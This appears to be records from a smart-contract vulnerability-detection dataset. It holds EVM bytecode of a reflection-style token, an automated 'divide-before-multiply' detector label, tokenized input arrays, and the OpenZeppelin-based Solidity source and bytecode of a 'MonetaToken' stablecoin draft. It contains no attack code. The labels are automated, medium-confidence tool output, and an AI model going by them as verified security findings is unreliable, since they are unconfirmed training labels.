001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600460008273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166118b6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f4163636f756e7420697320616c726561647920696e636c75646564000000000081525060200191505060405180910390fd5b60005b600580549050811015611ab5578173ffffffffffffffffffffffffffffffffffffffff16600582815481106118ea57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611aa85760056001600580549050038154811061194657fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005828154811061197e57fe5b9060005260206000200160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506005805480611a6e57fe5b6001900381819060005260206000200160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690559055611ab5565b80806001019150506118b9565b5050565b600033905090565b600080600080600080600080611ad5613665565b611ade8a612554565b856000600c8110611aeb57fe5b60200201866001600c8110611afc57fe5b60200201876002600c8110611b0d57fe5b60200201886008600c8110611b1e57fe5b6020020189600a600c8110611b2f57fe5b6020020185815250858152508581525085815250858152505050505050611b546124df565b816003600c8110611b6157fe5b602002018181525050611bcd8a826001600c8110611b7b57fe5b6020020151836003600c8110611b8d57fe5b6020020151846002600c8110611b9f57fe5b6020020151856008600c8110611bb157fe5b602002015186600a600c8110611bc357fe5b6020020151612769565b866004600c8110611bda57fe5b60200201876005600c8110611beb57fe5b60200201886006600c8110611bfc57fe5b60200201896007600c8110611c0d57fe5b602002018a6009600c8110611c1e57fe5b602002018b600b600c8110611c2f57fe5b60200201868152508681525086815250868152508681525086815250505050505050806004600c8110611c5e57fe5b6020020151816005600c8110611c7057fe5b6020020151826006600c8110611c8257fe5b6020020151836000600c8110611c9457fe5b6020020151846001600c8110611ca657fe5b6020020151856002600c8110611cb857fe5b6020020151866008600c8110611cca57fe5b602002015187600a600c8110611cdc57fe5b60200201519850985098509850985098509850985050919395975091939597565b6000611d3f83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061241f565b905092915050565b600080828401905083811015611dc5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611e55576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260248152602001806137d76024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611edb576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602281526020018061371e6022913960400191505060405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561204c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260258152602001806137b26025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260238152602001806136ab6023913960400191505060405180910390fd5b6000811161212b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260298152602001806137896029913960400191505060405180910390fd5b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156121ce5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156121e3576121de838383612859565b61241a565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156122865750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561229b57612296838383612abc565b612419565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615801561233f5750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156123545761234f838383612d1f565b612418565b600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156123f65750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561240b57612406838383612eed565b612417565b612416838383612d1f565b5b5b5b5b505050565b60008383111582906124cc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612491578082015181840152602081019050612476565b50505050905090810190601f1680156124be5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008060006124ec6131e5565b91509150612503818361250a90919063ffffffff16565b9250505090565b600061254c83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506134a6565b905092915050565b6000806000806000612564613688565b61258b600061257d60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160006005811061259857fe5b6020020181815250506125c860006125ba60648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b816001600581106125d557fe5b60200201818152505061260560016125f760648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160026005811061261257fe5b602002018181525050612642600f61263460648a61250a90919063ffffffff16565b61356c90919063ffffffff16565b8160036005811061264f57fe5b6020020181815250506126e58160036005811061266857fe5b60200201516126d78360006005811061267d57fe5b60200201516126c98560016005811061269257fe5b60200201516126bb876002600581106126a757fe5b60200201518e611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b816004600581106126f257fe5b6020020181815250508060046005811061270857fe5b60200201518160026005811061271a57fe5b60200201518260016005811061272c57fe5b60200201518360006005811061273e57fe5b60200201518460036005811061275057fe5b6020020151955095509550955095505091939590929450565b60008060008060008060006127878b8e61356c90919063ffffffff16565b9050600061279e8c8e61356c90919063ffffffff16565b905060006127b58d8d61356c90919063ffffffff16565b905060006127cc8e8c61356c90919063ffffffff16565b905060006127e38f8e61356c90919063ffffffff16565b905060006128308361282284612814886128068b8d611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b611cfd90919063ffffffff16565b90508581868685879b509b509b509b509b509b5050505050505096509650965096509650969050565b60008060008060008060008061286e89611ac1565b975097509750975097509750975097506128d089600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061296588600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506129fa87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612a4a86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612ad189611ac1565b97509750975097509750975097509750612b3388600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612bc885600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612c5d87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cad86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612d3489611ac1565b97509750975097509750975097509750612d9688600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e2b87600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e7b86858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b600080600080600080600080612f0289611ac1565b97509750975097509750975097509750612f6489600260008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612ff988600160008e73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfd90919063ffffffff16565b600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061308e85600260008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061312387600160008d73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d4790919063ffffffff16565b600160008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061317386858585856135f2565b8973ffffffffffffffffffffffffffffffffffffffff168b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef876040518082815260200191505060405180910390a35050505050505050505050565b6000806000600654905060006d314dc6448d9338c15b0a00000000905060005b6005805490508110156134515782600160006005848154811061322457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054118061330b57508160026000600584815481106132a357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b1561332e576006546d314dc6448d9338c15b0a00000000945094505050506134a2565b6133b7600160006005848154811061334257fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484611cfd90919063ffffffff16565b925061344260026000600584815481106133cd57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205483611cfd90919063ffffffff16565b91508080600101915050613205565b506134756d314dc6448d9338c15b0a0000000060065461250a90919063ffffffff16565b821015613499576006546d314dc6448d9338c15b0a000000009350935050506134a2565b81819350935050505b9091565b60008083118290613552576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156135175780820151818401526020810190506134fc565b50505050905090810190601f1680156135445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161355e57fe5b049050809150509392505050565b60008083141561357f57600090506135ec565b600082840290508284828161359057fe5b04146135e7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806137406021913960400191505060405180910390fd5b809150505b92915050565b61360785600654611cfd90919063ffffffff16565b6006819055506136588161364a8461363c8761362e8a600754611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b611d4790919063ffffffff16565b6007819055505050505050565b604051806101800160405280600c90602082028036833780820191505090505090565b6040518060a0016040528060059060208202803683378082019150509050509056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e734f776e61626c653a206e6577206f776e657220697320746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f20616464726573734578636c75646564206164647265737365732063616e6e6f742063616c6c20746869732066756e6374696f6e45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212205443ea2f8fe258a1448c6238173dd0370c120ba5fb650fb15a9ccfd695b6fc2e64736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
true
null
{'detectors': [{'check': 'divide-before-multiply', 'impact': 'Medium', 'confidence': 'Medium'}]}
[ 101, 1014, 2595, 2683, 2629, 2278, 17465, 22407, 4402, 2549, 13775, 2497, 2683, 2475, 9468, 2063, 29097, 28154, 2497, 18139, 25746, 2575, 22907, 24594, 27814, 2549, 2094, 17914, 2581, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 2260, 1025, 10061, 3206, 6123, 1063, 3853, 1035, 5796, 5620, 10497, 2121, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 4769, 3477, 3085, 1007, 1063, 2709, 5796, 2290, 1012, 4604, 2121, 1025, 1065, 3853, 1035, 5796, 2290, 2850, 2696, 1006, 1007, 4722, 3193, 7484, 5651, 1006, 27507, 3638, 1007, 1063, 2023, 1025, 1013, 1013, 4223, 2110, 14163, 2696, 8553, 5432, 2302, 11717, 24880, 16044, 1011, 2156, 16770, 1024, 1013, 1013, 21025, 2705, 12083, 1012, 4012, 1013, 28855, 14820, 1013, 5024, 3012, 1013, 3314, 1013, 25717, 2487, 2709, 5796, 2290, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
58,822
0x95c2e7cbc7ae370e28160bd04297c53f96d092b4
pragma solidity ^0.4.25; // File: openzeppelin-solidity/contracts/token/ERC20/IERC20.sol /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ interface IERC20 { function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } // File: openzeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20.md * Originally based on code by FirstBlood: * https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol * * This implementation emits additional Approval events, allowing applications to reconstruct the allowance status for * all accounts just by listening to said events. Note that this isn't required by the specification, and other * compliant implementations may not do it. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowed; uint256 private _totalSupply; /** * @dev Total number of tokens in existence */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev Gets the balance of the specified address. * @param owner The address to query the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address owner) public view returns (uint256) { return _balances[owner]; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param owner address The address which owns the funds. * @param spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowed[owner][spender]; } /** * @dev Transfer token for a specified address * @param to The address to transfer to. * @param value The amount to be transferred. */ function transfer(address to, uint256 value) public returns (bool) { _transfer(msg.sender, to, value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param spender The address which will spend the funds. * @param value The amount of tokens to be spent. */ function approve(address spender, uint256 value) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = value; emit Approval(msg.sender, spender, value); return true; } /** * @dev Transfer tokens from one address to another. * Note that while this function emits an Approval event, this is not required as per the specification, * and other compliant implementations may not emit the event. * @param from address The address which you want to send tokens from * @param to address The address which you want to transfer to * @param value uint256 the amount of tokens to be transferred */ function transferFrom(address from, address to, uint256 value) public returns (bool) { _allowed[from][msg.sender] = _allowed[from][msg.sender].sub(value); _transfer(from, to, value); emit Approval(from, msg.sender, _allowed[from][msg.sender]); return true; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param addedValue The amount of tokens to increase the allowance by. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].add(addedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * approve should be called when allowed_[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * Emits an Approval event. * @param spender The address which will spend the funds. * @param subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { require(spender != address(0)); _allowed[msg.sender][spender] = _allowed[msg.sender][spender].sub(subtractedValue); emit Approval(msg.sender, spender, _allowed[msg.sender][spender]); return true; } /** * @dev Transfer token for a specified addresses * @param from The address to transfer from. * @param to The address to transfer to. * @param value The amount to be transferred. */ function _transfer(address from, address to, uint256 value) internal { require(to != address(0)); _balances[from] = _balances[from].sub(value); _balances[to] = _balances[to].add(value); emit Transfer(from, to, value); } /** * @dev Internal function that mints an amount of the token and assigns it to * an account. This encapsulates the modification of balances such that the * proper events are emitted. * @param account The account that will receive the created tokens. * @param value The amount that will be created. */ function _mint(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.add(value); _balances[account] = _balances[account].add(value); emit Transfer(address(0), account, value); } /** * @dev Internal function that burns an amount of the token of a given * account. * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burn(address account, uint256 value) internal { require(account != address(0)); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Internal function that burns an amount of the token of a given * account, deducting from the sender's allowance for said account. Uses the * internal burn function. * Emits an Approval event (reflecting the reduced allowance). * @param account The account whose tokens will be burnt. * @param value The amount that will be burnt. */ function _burnFrom(address account, uint256 value) internal { _allowed[account][msg.sender] = _allowed[account][msg.sender].sub(value); _burn(account, value); emit Approval(account, msg.sender, _allowed[account][msg.sender]); } } // File: openzeppelin-solidity/contracts/access/Roles.sol /** * @title Roles * @dev Library for managing addresses assigned to a Role. */ library Roles { struct Role { mapping (address => bool) bearer; } /** * @dev give an account access to this role */ function add(Role storage role, address account) internal { require(account != address(0)); require(!has(role, account)); role.bearer[account] = true; } /** * @dev remove an account's access to this role */ function remove(Role storage role, address account) internal { require(account != address(0)); require(has(role, account)); role.bearer[account] = false; } /** * @dev check if an account has this role * @return bool */ function has(Role storage role, address account) internal view returns (bool) { require(account != address(0)); return role.bearer[account]; } } // File: openzeppelin-solidity/contracts/access/roles/MinterRole.sol contract MinterRole { using Roles for Roles.Role; event MinterAdded(address indexed account); event MinterRemoved(address indexed account); Roles.Role private _minters; constructor () internal { _addMinter(msg.sender); } modifier onlyMinter() { require(isMinter(msg.sender)); _; } function isMinter(address account) public view returns (bool) { return _minters.has(account); } function addMinter(address account) public onlyMinter { _addMinter(account); } function renounceMinter() public { _removeMinter(msg.sender); } function _addMinter(address account) internal { _minters.add(account); emit MinterAdded(account); } function _removeMinter(address account) internal { _minters.remove(account); emit MinterRemoved(account); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Mintable.sol /** * @title ERC20Mintable * @dev ERC20 minting logic */ contract ERC20Mintable is ERC20, MinterRole { /** * @dev Function to mint tokens * @param to The address that will receive the minted tokens. * @param value The amount of tokens to mint. * @return A boolean that indicates if the operation was successful. */ function mint(address to, uint256 value) public onlyMinter returns (bool) { _mint(to, value); return true; } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Burnable.sol /** * @title Burnable Token * @dev Token that can be irreversibly burned (destroyed). */ contract ERC20Burnable is ERC20 { /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public { _burn(msg.sender, value); } /** * @dev Burns a specific amount of tokens from the target address and decrements allowance * @param from address The address which you want to send tokens from * @param value uint256 The amount of token to be burned */ function burnFrom(address from, uint256 value) public { _burnFrom(from, value); } } // File: openzeppelin-solidity/contracts/access/roles/PauserRole.sol contract PauserRole { using Roles for Roles.Role; event PauserAdded(address indexed account); event PauserRemoved(address indexed account); Roles.Role private _pausers; constructor () internal { _addPauser(msg.sender); } modifier onlyPauser() { require(isPauser(msg.sender)); _; } function isPauser(address account) public view returns (bool) { return _pausers.has(account); } function addPauser(address account) public onlyPauser { _addPauser(account); } function renouncePauser() public { _removePauser(msg.sender); } function _addPauser(address account) internal { _pausers.add(account); emit PauserAdded(account); } function _removePauser(address account) internal { _pausers.remove(account); emit PauserRemoved(account); } } // File: openzeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is PauserRole { event Paused(address account); event Unpaused(address account); bool private _paused; constructor () internal { _paused = false; } /** * @return true if the contract is paused, false otherwise. */ function paused() public view returns (bool) { return _paused; } /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!_paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(_paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyPauser whenNotPaused { _paused = true; emit Paused(msg.sender); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyPauser whenPaused { _paused = false; emit Unpaused(msg.sender); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Pausable.sol /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } // File: openzeppelin-solidity/contracts/token/ERC20/ERC20Detailed.sol /** * @title ERC20Detailed token * @dev The decimals are only for visualization purposes. * All the operations are done using the smallest and indivisible token unit, * just as on Ethereum all the operations are done in wei. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @return the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @return the symbol of the token. */ function symbol() public view returns (string memory) { return _symbol; } /** * @return the number of decimals of the token. */ function decimals() public view returns (uint8) { return _decimals; } } /** * WARNING * This contract is a draft for a stable coin prototype which is being designed to work in conjunction with a payment gateway. * At present this contract is in Beta and must not be used in production or when there is real value at stake. * Use this contract at your own risk. */ //Import contracts //This file has been marked old because dynamically linking to these contracts was causing issues at times when OpenZeppelin updated their code base and GitHub repository file structure etc. //Create MonetaToken contract contract MonetaToken is ERC20Mintable, ERC20Burnable, ERC20Pausable, ERC20Detailed { constructor() public ERC20Mintable() ERC20Burnable() ERC20Pausable() ERC20Detailed("Moneta Stablecoin", "MMXN", 6) {} }
0x608060405260043610610133576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806306fdde0314610138578063095ea7b3146101c857806318160ddd1461022d57806323b872dd14610258578063313ce567146102dd578063395093511461030e5780633f4ba83a1461037357806340c10f191461038a57806342966c68146103ef57806346fbf68e1461041c5780635c975abb146104775780636ef8d66d146104a657806370a08231146104bd57806379cc67901461051457806382dc1ec4146105615780638456cb59146105a457806395d89b41146105bb578063983b2d561461064b578063986502751461068e578063a457c2d7146106a5578063a9059cbb1461070a578063aa271e1a1461076f578063dd62ed3e146107ca575b600080fd5b34801561014457600080fd5b5061014d610841565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561018d578082015181840152602081019050610172565b50505050905090810190601f1680156101ba5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101d457600080fd5b50610213600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803590602001909291905050506108e3565b604051808215151515815260200191505060405180910390f35b34801561023957600080fd5b50610242610913565b6040518082815260200191505060405180910390f35b34801561026457600080fd5b506102c3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffff